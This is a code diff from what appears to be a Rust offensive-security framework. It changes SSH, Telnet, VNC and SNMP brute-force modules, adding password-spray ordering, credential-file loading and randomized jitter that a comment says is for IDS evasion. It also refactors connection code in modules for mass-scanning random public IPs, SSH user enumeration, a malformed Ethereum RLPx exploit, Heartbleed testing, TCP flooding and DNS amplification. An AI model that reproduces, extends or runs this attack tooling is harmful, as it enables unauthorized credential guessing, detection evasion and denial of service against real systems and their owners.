jitter_ms: 0,
|
||||
source_module: "creds/generic/snmp_bruteforce",
|
||||
};
|
||||
|
||||
@@ -577,6 +579,7 @@ async fn run_subnet_scan(target: &str) -> Result<()> {
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "snmp",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/snmp_bruteforce",
|
||||
skip_tcp_check: true, // SNMP is UDP — no TCP pre-check
|
||||
},
|
||||
|
||||
@@ -3,7 +3,7 @@ use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
io::Write,
|
||||
net::{IpAddr, TcpStream, ToSocketAddrs},
|
||||
net::{IpAddr, ToSocketAddrs},
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::{
|
||||
@@ -19,7 +19,8 @@ use crate::utils::{
|
||||
};
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos, run_bruteforce, run_subnet_bruteforce,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
|
||||
@@ -124,6 +125,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "ssh",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/ssh_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
@@ -187,7 +189,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no("combo_mode", "Combination mode? (try every pass with every user)", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let connect_addr = normalize_target(&format!("{}:{}", target, port)).unwrap_or_else(|_| format!("{}:{}", target, port));
|
||||
|
||||
@@ -234,7 +236,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
@@ -259,6 +265,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "ssh",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/ssh_bruteforce",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
@@ -338,7 +345,7 @@ async fn try_ssh_login(
|
||||
.or_else(|_| addr_owned.to_socket_addrs().and_then(|mut a|
|
||||
a.next().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::NotFound, "No addresses resolved"))))
|
||||
.map_err(|e| anyhow!("Cannot resolve address {}: {}", addr_owned, e))?;
|
||||
let tcp = TcpStream::connect_timeout(&socket_addr, timeout_duration)
|
||||
let tcp = crate::utils::blocking_tcp_connect(&socket_addr, timeout_duration)
|
||||
.map_err(|e| anyhow!("Connection error: {}", e))?;
|
||||
|
||||
let mut sess = Session::new()
|
||||
|
||||
@@ -118,7 +118,7 @@ impl Statistics {
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
}
|
||||
|
||||
fn print_summary(&self) {
|
||||
@@ -305,7 +305,7 @@ pub async fn password_spray(
|
||||
password: password.clone(),
|
||||
};
|
||||
crate::mprintln!("\r{}", format!("[PWNED] {}:{} @ {}:{}", user, password, host, port).red().bold());
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
results.lock().await.push(cred);
|
||||
// Persist credential to framework credential store
|
||||
{
|
||||
|
||||
@@ -253,7 +253,7 @@ fn enumerate_users_blocking(
|
||||
usernames.len(),
|
||||
user
|
||||
);
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
|
||||
match sample_auth_timing(host, port, user, samples, timeout_secs) {
|
||||
Some(t) => {
|
||||
|
||||
@@ -14,7 +14,8 @@ use tokio::{
|
||||
};
|
||||
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
@@ -302,6 +303,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "telnet",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/telnet_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
@@ -394,12 +396,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
};
|
||||
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no(
|
||||
"combo_mode",
|
||||
"Combination mode? (try every pass with every user)",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
// Resolve target once (not in hot path)
|
||||
let resolved_target = normalize_target(target).unwrap_or_else(|_| target.to_string());
|
||||
@@ -526,6 +523,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "telnet",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/telnet_bruteforce",
|
||||
};
|
||||
|
||||
@@ -540,7 +538,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// First: run default passwords if enabled (already in `passwords` vec)
|
||||
if !passwords.is_empty() {
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
let result = run_bruteforce(
|
||||
&bf_config,
|
||||
combos,
|
||||
@@ -582,7 +584,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
let combos = generate_combos(&usernames, &chunk, combo_mode);
|
||||
let combos = generate_combos_mode(&usernames, &chunk, parse_combo_mode(&combo_input));
|
||||
let result = run_bruteforce(
|
||||
&bf_config,
|
||||
combos,
|
||||
@@ -617,7 +619,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
let combos = generate_combos(&usernames, &chunk, combo_mode);
|
||||
let combos = generate_combos_mode(&usernames, &chunk, parse_combo_mode(&combo_input));
|
||||
let result = run_bruteforce(
|
||||
&bf_config,
|
||||
combos,
|
||||
@@ -635,7 +637,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
} else {
|
||||
// Normal mode: everything fits in memory
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
let combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
let result = run_bruteforce(
|
||||
&bf_config,
|
||||
combos,
|
||||
@@ -739,9 +741,8 @@ fn parse_ports(input: &str) -> Vec<u16> {
|
||||
/// - `Err(_)` — connection/protocol error
|
||||
async fn try_telnet_login(addr: &str, user: &str, pass: &str, cfg: &TelnetConfig) -> Result<bool> {
|
||||
// 1. TCP connect
|
||||
let mut stream = timeout(cfg.connect_timeout, TcpStream::connect(addr))
|
||||
let mut stream = crate::utils::network::tcp_connect(addr, cfg.connect_timeout)
|
||||
.await
|
||||
.map_err(|_| anyhow!("{}: connection timeout", addr))?
|
||||
.map_err(|e| anyhow!("{}: {}", addr, e))?;
|
||||
|
||||
// Disable Nagle — telnet sends small packets, latency matters more than throughput
|
||||
|
||||
@@ -2,7 +2,6 @@ use anyhow::Result;
|
||||
use std::net::SocketAddr;
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt, BufReader};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::timeout;
|
||||
|
||||
use crate::modules::creds::utils::{run_mass_scan, MassScanConfig};
|
||||
@@ -258,14 +257,8 @@ async fn do_telnet_session(
|
||||
) -> Result<(bool, bool)> {
|
||||
// returns (success, banner_detected)
|
||||
|
||||
let stream_res = timeout(
|
||||
Duration::from_millis(CONNECT_TIMEOUT_MS),
|
||||
TcpStream::connect(socket),
|
||||
)
|
||||
.await;
|
||||
|
||||
let stream = match stream_res {
|
||||
Ok(Ok(s)) => s,
|
||||
let stream = match crate::utils::network::tcp_connect_addr(*socket, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
|
||||
Ok(s) => s,
|
||||
_ => return Ok((false, false)), // Connect fail
|
||||
};
|
||||
|
||||
|
||||
@@ -20,10 +20,10 @@ use std::io::Write;
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
generate_combos_mode, ComboMode,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
@@ -179,6 +179,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "vnc",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/vnc_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
@@ -279,7 +280,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// VNC is password-only: use a single dummy username for the combos framework
|
||||
let usernames = vec!["vnc".to_string()];
|
||||
let combos = generate_combos(&usernames, &passwords, false);
|
||||
let combos = generate_combos_mode(&usernames, &passwords, ComboMode::Linear);
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
@@ -324,6 +325,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
delay_ms: 100, // VNC servers often rate-limit; small delay helps
|
||||
max_retries,
|
||||
service_name: "vnc",
|
||||
jitter_ms: 0,
|
||||
source_module: "creds/generic/vnc_bruteforce",
|
||||
},
|
||||
combos,
|
||||
@@ -517,15 +519,9 @@ fn parse_rfb_version(version_str: &[u8]) -> Result<(u16, u16)> {
|
||||
/// Attempt VNC authentication against a target address.
|
||||
async fn try_vnc_auth(addr: &str, password: &str) -> VncResult {
|
||||
// TCP connect with timeout
|
||||
let mut stream = match tokio::time::timeout(
|
||||
Duration::from_millis(CONNECT_TIMEOUT_MS),
|
||||
TcpStream::connect(addr),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => return VncResult::ConnectionError(format!("Connect failed: {}", e)),
|
||||
Err(_) => return VncResult::ConnectionError("Connection timeout".to_string()),
|
||||
let mut stream = match crate::utils::network::tcp_connect(addr, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return VncResult::ConnectionError(format!("Connect failed: {}", e)),
|
||||
};
|
||||
|
||||
// Step 1: Read server version string (12 bytes)
|
||||
|
||||
+111
-59
@@ -171,7 +171,7 @@ impl BruteforceStats {
|
||||
rate
|
||||
);
|
||||
}
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
}
|
||||
|
||||
pub async fn print_final(&self) {
|
||||
@@ -295,44 +295,39 @@ pub fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr
|
||||
|
||||
/// In-memory dedup set for mass scan IP tracking.
|
||||
/// Avoids the TOCTOU race of file-based is_ip_checked + mark_ip_checked.
|
||||
static CHECKED_IPS: once_cell::sync::Lazy<tokio::sync::Mutex<std::collections::HashSet<String>>> =
|
||||
once_cell::sync::Lazy::new(|| tokio::sync::Mutex::new(std::collections::HashSet::new()));
|
||||
static CHECKED_IPS: std::sync::LazyLock<tokio::sync::Mutex<std::collections::HashSet<String>>> =
|
||||
std::sync::LazyLock::new(|| tokio::sync::Mutex::new(std::collections::HashSet::new()));
|
||||
|
||||
/// Atomically check AND mark an IP — returns true if already checked (skip it).
|
||||
/// Uses in-memory HashSet for race-free dedup, with file append for persistence.
|
||||
pub async fn is_ip_checked(ip: &impl ToString, state_file: &str) -> bool {
|
||||
let ip_str = ip.to_string();
|
||||
let mut set = CHECKED_IPS.lock().await;
|
||||
if set.contains(&ip_str) {
|
||||
return true;
|
||||
}
|
||||
// Check file on first access (cold start after restart)
|
||||
if set.is_empty() {
|
||||
if let Ok(contents) = tokio::fs::read_to_string(state_file).await {
|
||||
for line in contents.lines() {
|
||||
if let Some(checked_ip) = line.strip_prefix("checked: ") {
|
||||
set.insert(checked_ip.to_string());
|
||||
}
|
||||
}
|
||||
if set.contains(&ip_str) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// Mark an IP as checked (in memory + persisted to file).
|
||||
pub async fn mark_ip_checked(ip: &impl ToString, state_file: &str) {
|
||||
/// Atomically check AND mark an IP in a single lock acquisition.
|
||||
/// Returns `true` if the IP was already checked (caller should skip it).
|
||||
/// On first call, loads persisted state from file (cold start recovery).
|
||||
/// Persists the new entry to file for restart durability.
|
||||
pub async fn check_and_mark_ip(ip: &impl ToString, state_file: &str) -> bool {
|
||||
if state_file.contains("..") {
|
||||
crate::meprintln!("[!] Invalid state file path: {}", state_file);
|
||||
return;
|
||||
return false;
|
||||
}
|
||||
let ip_str = ip.to_string();
|
||||
{
|
||||
let mut set = CHECKED_IPS.lock().await;
|
||||
set.insert(ip_str.clone());
|
||||
|
||||
// Cold start: load persisted state from file on first access
|
||||
if set.is_empty() {
|
||||
if let Ok(contents) = tokio::fs::read_to_string(state_file).await {
|
||||
for line in contents.lines() {
|
||||
if let Some(checked_ip) = line.strip_prefix("checked: ") {
|
||||
set.insert(checked_ip.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !set.insert(ip_str.clone()) {
|
||||
// Already present — skip this IP
|
||||
return true;
|
||||
}
|
||||
}
|
||||
// Persist outside the lock to minimize hold time
|
||||
let data = format!("checked: {}\n", ip_str);
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
@@ -342,8 +337,10 @@ pub async fn mark_ip_checked(ip: &impl ToString, state_file: &str) {
|
||||
{
|
||||
if let Err(e) = file.write_all(data.as_bytes()).await { crate::meprintln!("[!] Write error: {}", e); }
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
|
||||
pub fn parse_exclusions(min_ranges: &[&str]) -> Vec<ipnetwork::IpNetwork> {
|
||||
let mut exclusion_subnets = Vec::new();
|
||||
for cidr in min_ranges {
|
||||
@@ -530,8 +527,7 @@ where
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
if !is_ip_checked(&ip, state_file).await {
|
||||
mark_ip_checked(&ip, state_file).await;
|
||||
if !check_and_mark_ip(&ip, state_file).await {
|
||||
if let Some(line) = probe(ip, port).await {
|
||||
sf.fetch_add(1, Ordering::Relaxed);
|
||||
if let Err(e) = tx.send(line).await {
|
||||
@@ -564,8 +560,7 @@ where
|
||||
let probe = probe.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
if !is_ip_checked(&ip_addr, state_file).await {
|
||||
mark_ip_checked(&ip_addr, state_file).await;
|
||||
if !check_and_mark_ip(&ip_addr, state_file).await {
|
||||
if let Some(line) = probe(ip_addr, port).await {
|
||||
sf.fetch_add(1, Ordering::Relaxed);
|
||||
if let Err(e) = tx.send(line).await {
|
||||
@@ -615,8 +610,7 @@ where
|
||||
|
||||
tokio::spawn(async move {
|
||||
if let Ok(ip) = ip_str.parse::<IpAddr>() {
|
||||
if !is_ip_checked(&ip, state_file).await {
|
||||
mark_ip_checked(&ip, state_file).await;
|
||||
if !check_and_mark_ip(&ip, state_file).await {
|
||||
if let Some(line) = probe(ip, port).await {
|
||||
sf.fetch_add(1, Ordering::Relaxed);
|
||||
if let Err(e) = tx.send(line).await {
|
||||
@@ -666,6 +660,17 @@ pub enum LoginResult {
|
||||
Error { message: String, retryable: bool },
|
||||
}
|
||||
|
||||
/// Credential combination strategy.
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
pub enum ComboMode {
|
||||
/// Pair user\[i\] with pass\[i\], cycling the shorter list.
|
||||
Linear,
|
||||
/// Full cross product: every user × every password.
|
||||
Combo,
|
||||
/// Password spray: for each password, try all users (avoids account lockout).
|
||||
Spray,
|
||||
}
|
||||
|
||||
/// Common configuration for the bruteforce engine.
|
||||
#[derive(Clone)]
|
||||
pub struct BruteforceConfig {
|
||||
@@ -675,6 +680,8 @@ pub struct BruteforceConfig {
|
||||
pub stop_on_success: bool,
|
||||
pub verbose: bool,
|
||||
pub delay_ms: u64,
|
||||
/// Random jitter added to delay_ms (0..jitter_ms) for IDS evasion.
|
||||
pub jitter_ms: u64,
|
||||
pub max_retries: usize,
|
||||
pub service_name: &'static str,
|
||||
pub source_module: &'static str,
|
||||
@@ -731,33 +738,69 @@ impl BruteforceResult {
|
||||
}
|
||||
}
|
||||
|
||||
/// Generate credential pairs from username and password lists.
|
||||
/// In combo mode, produces the full cross product (user × pass).
|
||||
/// In linear mode, pairs user\[i\] with pass\[i\], cycling the shorter list.
|
||||
pub fn generate_combos(
|
||||
/// Generate credential pairs with full combo mode control.
|
||||
/// - Linear: pairs user\[i\] with pass\[i\], cycling the shorter list.
|
||||
/// - Combo: full cross product (user × pass).
|
||||
/// - Spray: for each password, try all users (lockout-safe ordering).
|
||||
pub fn generate_combos_mode(
|
||||
usernames: &[String],
|
||||
passwords: &[String],
|
||||
combo_mode: bool,
|
||||
mode: ComboMode,
|
||||
) -> Vec<(String, String)> {
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
return Vec::new();
|
||||
}
|
||||
let mut combos = Vec::new();
|
||||
if combo_mode {
|
||||
for u in usernames {
|
||||
match mode {
|
||||
ComboMode::Combo => {
|
||||
let mut combos = Vec::with_capacity(usernames.len() * passwords.len());
|
||||
for u in usernames {
|
||||
for p in passwords {
|
||||
combos.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
combos
|
||||
}
|
||||
ComboMode::Spray => {
|
||||
let mut combos = Vec::with_capacity(usernames.len() * passwords.len());
|
||||
for p in passwords {
|
||||
for u in usernames {
|
||||
combos.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
combos
|
||||
}
|
||||
ComboMode::Linear => {
|
||||
let max_len = std::cmp::max(usernames.len(), passwords.len());
|
||||
let mut combos = Vec::with_capacity(max_len);
|
||||
for i in 0..max_len {
|
||||
let u = &usernames[i % usernames.len()];
|
||||
let p = &passwords[i % passwords.len()];
|
||||
combos.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
let max_len = std::cmp::max(usernames.len(), passwords.len());
|
||||
for i in 0..max_len {
|
||||
let u = &usernames[i % usernames.len()];
|
||||
let p = &passwords[i % passwords.len()];
|
||||
combos.push((u.clone(), p.clone()));
|
||||
combos
|
||||
}
|
||||
}
|
||||
combos
|
||||
}
|
||||
|
||||
/// Load user:pass credential pairs from a file (one pair per line, colon-separated).
|
||||
pub fn load_credential_file(path: &str) -> Result<Vec<(String, String)>> {
|
||||
let lines = crate::utils::load_lines(path)?;
|
||||
let mut combos = Vec::new();
|
||||
for line in lines {
|
||||
if let Some((user, pass)) = line.split_once(':') {
|
||||
combos.push((user.to_string(), pass.to_string()));
|
||||
}
|
||||
}
|
||||
Ok(combos)
|
||||
}
|
||||
|
||||
/// Parse combo mode from user input string.
|
||||
pub fn parse_combo_mode(input: &str) -> ComboMode {
|
||||
match input.trim().to_lowercase().as_str() {
|
||||
"combo" | "cross" => ComboMode::Combo,
|
||||
"spray" | "password_spray" => ComboMode::Spray,
|
||||
_ => ComboMode::Linear,
|
||||
}
|
||||
}
|
||||
|
||||
/// Run the generic bruteforce engine against a single target.
|
||||
@@ -830,6 +873,7 @@ where
|
||||
let stop_on_success = config.stop_on_success;
|
||||
let max_retries = config.max_retries;
|
||||
let delay_ms = config.delay_ms;
|
||||
let jitter_ms = config.jitter_ms;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success && stop_c.load(Ordering::Relaxed) { return; }
|
||||
@@ -897,8 +941,11 @@ where
|
||||
}
|
||||
}
|
||||
|
||||
if delay_ms > 0 {
|
||||
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
|
||||
if delay_ms > 0 || jitter_ms > 0 {
|
||||
let jitter = if jitter_ms > 0 {
|
||||
rand::rng().random_range(0..=jitter_ms)
|
||||
} else { 0 };
|
||||
tokio::time::sleep(Duration::from_millis(delay_ms + jitter)).await;
|
||||
}
|
||||
}));
|
||||
|
||||
@@ -937,6 +984,8 @@ pub struct SubnetScanConfig {
|
||||
pub verbose: bool,
|
||||
pub output_file: String,
|
||||
pub service_name: &'static str,
|
||||
/// Random jitter added to delay between attempts (0..jitter_ms).
|
||||
pub jitter_ms: u64,
|
||||
pub source_module: &'static str,
|
||||
/// Skip the TCP port pre-check before attempting credentials.
|
||||
/// Set to `true` for UDP-based protocols (SNMP, L2TP) where a TCP
|
||||
@@ -1043,15 +1092,13 @@ where
|
||||
let try_login = try_login.clone();
|
||||
let verbose = config.verbose;
|
||||
let skip_tcp = config.skip_tcp_check;
|
||||
let jitter_ms = config.jitter_ms;
|
||||
|
||||
tokio::spawn(async move {
|
||||
// Quick TCP port check (skipped for UDP protocols)
|
||||
if !skip_tcp {
|
||||
let sa = SocketAddr::new(ip, port);
|
||||
if tokio::time::timeout(
|
||||
Duration::from_millis(3000),
|
||||
tokio::net::TcpStream::connect(&sa),
|
||||
)
|
||||
if crate::utils::network::tcp_connect_addr(sa, Duration::from_millis(3000))
|
||||
.await
|
||||
.is_err()
|
||||
{
|
||||
@@ -1106,6 +1153,11 @@ where
|
||||
}
|
||||
}
|
||||
}
|
||||
// Apply jitter between attempts if configured
|
||||
if jitter_ms > 0 {
|
||||
let jitter = rand::rng().random_range(0..=jitter_ms);
|
||||
tokio::time::sleep(Duration::from_millis(jitter)).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
@@ -38,7 +38,6 @@ use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::{Semaphore, mpsc};
|
||||
use tokio::time::timeout;
|
||||
|
||||
@@ -287,13 +286,8 @@ async fn check_p2p_port(target: &str, port: u16) -> Result<bool> {
|
||||
}
|
||||
};
|
||||
|
||||
let connect_result = timeout(
|
||||
Duration::from_secs(CONNECT_TIMEOUT_SECS),
|
||||
TcpStream::connect(socket_addr)
|
||||
).await;
|
||||
|
||||
match connect_result {
|
||||
Ok(Ok(_stream)) => Ok(true),
|
||||
match crate::utils::network::tcp_connect_addr(socket_addr, Duration::from_secs(CONNECT_TIMEOUT_SECS)).await {
|
||||
Ok(_stream) => Ok(true),
|
||||
_ => Ok(false),
|
||||
}
|
||||
}
|
||||
@@ -349,17 +343,11 @@ fn generate_malformed_rlpx_auth() -> Vec<u8> {
|
||||
async fn send_exploit(target: &str, port: u16, exploit_type: ExploitType) -> Result<bool> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
|
||||
let stream = match timeout(
|
||||
Duration::from_secs(CONNECT_TIMEOUT_SECS),
|
||||
TcpStream::connect(&addr)
|
||||
).await {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => {
|
||||
let stream = match crate::utils::network::tcp_connect(&addr, Duration::from_secs(CONNECT_TIMEOUT_SECS)).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
return Err(anyhow::anyhow!("Connection failed: {}", e));
|
||||
}
|
||||
Err(_) => {
|
||||
return Err(anyhow::anyhow!("Connection timeout"));
|
||||
}
|
||||
};
|
||||
|
||||
let (mut reader, mut writer) = stream.into_split();
|
||||
|
||||
@@ -5,7 +5,6 @@ use std::net::ToSocketAddrs;
|
||||
use std::path::Path;
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration, sleep};
|
||||
use regex::Regex;
|
||||
use std::sync::Arc;
|
||||
@@ -283,11 +282,9 @@ async fn perform_heartbleed_test(addr: &str, payload_size: u16) -> Result<Option
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
|
||||
let mut stream = match stream_result {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => bail!("Connection failed: {}", e),
|
||||
Err(_) => bail!("Connection timed out"),
|
||||
let mut stream = match crate::utils::network::tcp_connect_addr(socket_addr, Duration::from_secs(5)).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => bail!("Connection failed: {}", e),
|
||||
};
|
||||
|
||||
stream.write_all(&build_client_hello()).await
|
||||
|
||||
@@ -13,7 +13,6 @@ use std::net::SocketAddr;
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::time::Instant;
|
||||
|
||||
@@ -315,7 +314,7 @@ async fn execute_flood(config: &FloodConfig) -> Result<()> {
|
||||
.dimmed()
|
||||
);
|
||||
use std::io::Write;
|
||||
if let Err(e) = std::io::stdout().flush() { eprintln!("[!] Stdout flush error: {}", e); }
|
||||
if let Err(e) = std::io::stdout().flush() { crate::meprintln!("[!] Stdout flush error: {}", e); }
|
||||
}
|
||||
});
|
||||
|
||||
@@ -346,8 +345,8 @@ async fn execute_flood(config: &FloodConfig) -> Result<()> {
|
||||
};
|
||||
|
||||
// Attempt connection
|
||||
match tokio::time::timeout(timeout, TcpStream::connect(target)).await {
|
||||
Ok(Ok(stream)) => {
|
||||
match crate::utils::network::tcp_connect_addr(target, timeout).await {
|
||||
Ok(stream) => {
|
||||
// Successfully connected
|
||||
conn_stat.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
@@ -370,8 +369,8 @@ async fn execute_flood(config: &FloodConfig) -> Result<()> {
|
||||
drop(stream);
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
// Connection error (refused, unreachable, etc.)
|
||||
Err(e) => {
|
||||
// Connection error (refused, unreachable, timeout, etc.)
|
||||
fail_stat.fetch_add(1, Ordering::Relaxed);
|
||||
if verbose {
|
||||
rng_counter = rng_counter.wrapping_add(1);
|
||||
@@ -381,10 +380,6 @@ async fn execute_flood(config: &FloodConfig) -> Result<()> {
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(_) => {
|
||||
// Timeout
|
||||
fail_stat.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
// Drop permit to release the semaphore slot
|
||||
|
||||
@@ -12,8 +12,9 @@ use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
use crate::native::dos_utils::FastRng;
|
||||
use crate::utils::{
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
};
|
||||
@@ -63,47 +64,6 @@ struct DnsAmpConfig {
|
||||
verbose: bool,
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// FAST RNG (XorShift128+)
|
||||
